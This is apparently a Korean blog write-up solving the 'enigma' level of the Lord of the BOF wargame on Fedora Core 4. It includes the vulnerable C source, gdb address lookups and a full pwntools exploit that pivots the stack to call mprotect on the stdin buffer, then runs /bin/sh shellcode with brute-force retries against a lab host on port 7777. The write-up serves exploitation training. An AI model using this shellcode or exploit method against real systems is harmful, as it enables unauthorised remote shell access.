반응형

ID | cruel

PW | come on, come over




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
/*
        The Lord of the BOF : The Fellowship of the BOF
        - enigma
        - Remote BOF on Fedora Core 4
        - hint : ? 
    - port : TCP 7777
*/
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
 
int vuln(int canary,char *ptr)
{
        char buffer[256];
        int *ret;
        
    // stack overflow!!
    strcpy(buffer,ptr); 
 
    // overflow protected
        if(canary != 0x31337)
        {
                printf("who broke my canary?!");
                exit(1);
        }
 
        // preventing RTL
        ret = &canary - 1;
        if((*ret & 0xff000000== 0
        {
                printf("I've an allergy to NULL");
                exit(1);
        }
 
    // clearing attack buffer
    memset(ptr, 01024);
 
        return 0;
}
 
int main()
{
    char buffer[1024];
 
    printf("enigma : The brothers will be glad to have you!\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food!
        fgets(buffer, 1024, stdin);
 
    // oops~!
        vuln(0x31337, buffer);
    
    // bye bye
    exit(0);
}

cs


가젯이 없어서 rop가 안되므로 다른 방법을 찾았다.


fgets 의 임시버퍼 stdin을 활용한다.


payload =

buffer[260] (nop + shellcode) + fakeebp[stdin+268] + leaveret + canary + mprotect + stdin + stdin + 1024 + 7


fakeebp를 통해 stdin에서의 canary 시작부분이 esp가 되고 leaveret으로 leave canary / ret mprotect


mprotect 함수로 stdin 1024만큼 RWX 권한을 부여. 여기에 사용되는 주소가 0x?????000 이어야 하는데 확인해보면 이 조건을 만족한다.


그다음 stdin으로 점프, nop sled 후에 쉘코드 실행.


stdin의 주소는 랜덤이기 때문에 brute force로 쉘을 따야 한다.


쉘코드는 25바이트 쉘코드를 사용했다.



0x0804858e <vuln+142>: leave  

0x0804858f <vuln+143>: ret   


leaveret = 0x0804858e



stdin 주소 구하기


0x080485e0 <main+80>: mov    eax,ds:0x804985c

0x080485e5 <main+85>: sub    esp,0x4

0x080485e8 <main+88>: push   eax

0x080485e9 <main+89>: push   0x400

0x080485ee <main+94>: lea    eax,[ebp-1024]

0x080485f4 <main+100>: push   eax

0x080485f5 <main+101>: call   0x80483ec


(gdb) b *main+106
Breakpoint 1 at 0x80485fa
(gdb) r
Starting program: /home/cruel/enigma 
Reading symbols from shared object read from target memory...(no debugging symbols found)...done.
Loaded system supplied DSO at 0xa36000
(no debugging symbols found)
(no debugging symbols found)
enigma : The brothers will be glad to have you!
you : AAAA                           

Breakpoint 1, 0x080485fa in main ()
(gdb) x/x 0x804985c
0x804985c <stdin@@GLIBC_2.0>: 0x008cb740
(gdb) x/10x 0x8cb740
0x8cb740 <_IO_2_1_stdin_>: 0xfbad2288 0xb7fe1005 0xb7fe1005 0xb7fe1000
0x8cb750 <_IO_2_1_stdin_+16>: 0xb7fe1000 0xb7fe1000 0xb7fe1000 0xb7fe1000
0x8cb760 <_IO_2_1_stdin_+32>: 0xb7fe1400 0x00000000
(gdb) x/10x 0xb7fe1000
0xb7fe1000: 0x41414141 0x0000000a 0x00000000 0x00000000 #AAAA
0xb7fe1010: 0x00000000 0x00000000 0x00000000 0x00000000
0xb7fe1020: 0x00000000 0x00000000

stdin = 0xb7fe1000



(gdb) p mprotect

$1 = {<text variable, no debug info>} 0x86d240 <mprotect>


mprotect = 0x86d240



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#fc4 got_overwrite
from pwn import *
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
 
 
leaveret = 0x0804858e
canary = 0x31337
 
mprotect = 0x86d240
stdin = 0xb7fe1000
 
payload = "\x90" * (260-len(shellcode))
payload += shellcode
 
payload += p32(stdin+268#fakeebp
payload += p32(leaveret)
payload += p32(canary)
 
payload += p32(mprotect)
payload += p32(stdin)
payload += p32(stdin)
payload += p32(1024)
payload += p32(7)
 
print(payload)
 
i=1
while True:
    print i
    i += 1
 
    p = remote("192.168.0.205"7777)
 
    p.recv(1024)
    p.sendline(payload)
    time.sleep(0.1)
 
    p.sendline('whoami')
    try:
        if 'enigma' in p.recv(1024):
            print '[+]Success!!!'
            p.interactive()
            break
        else:
            p.close()
            continue
    except:
        p.close()
        continue
 
cs


108

[+] Opening connection to 192.168.0.205 on port 7777: Done

[+]Success!!!

[*] Switching to interactive mode

$ my-pass

euid = 502

let me ride

$  


처음에 500번을 시도해도 쉘이 안따졌는데, 그 이유가 쉘을 땄는지 판별하는 코드 부분의 문제였다.

그 부분을 수정하고나서 쉘이 108번만에 따졌다.

반응형

+ Recent posts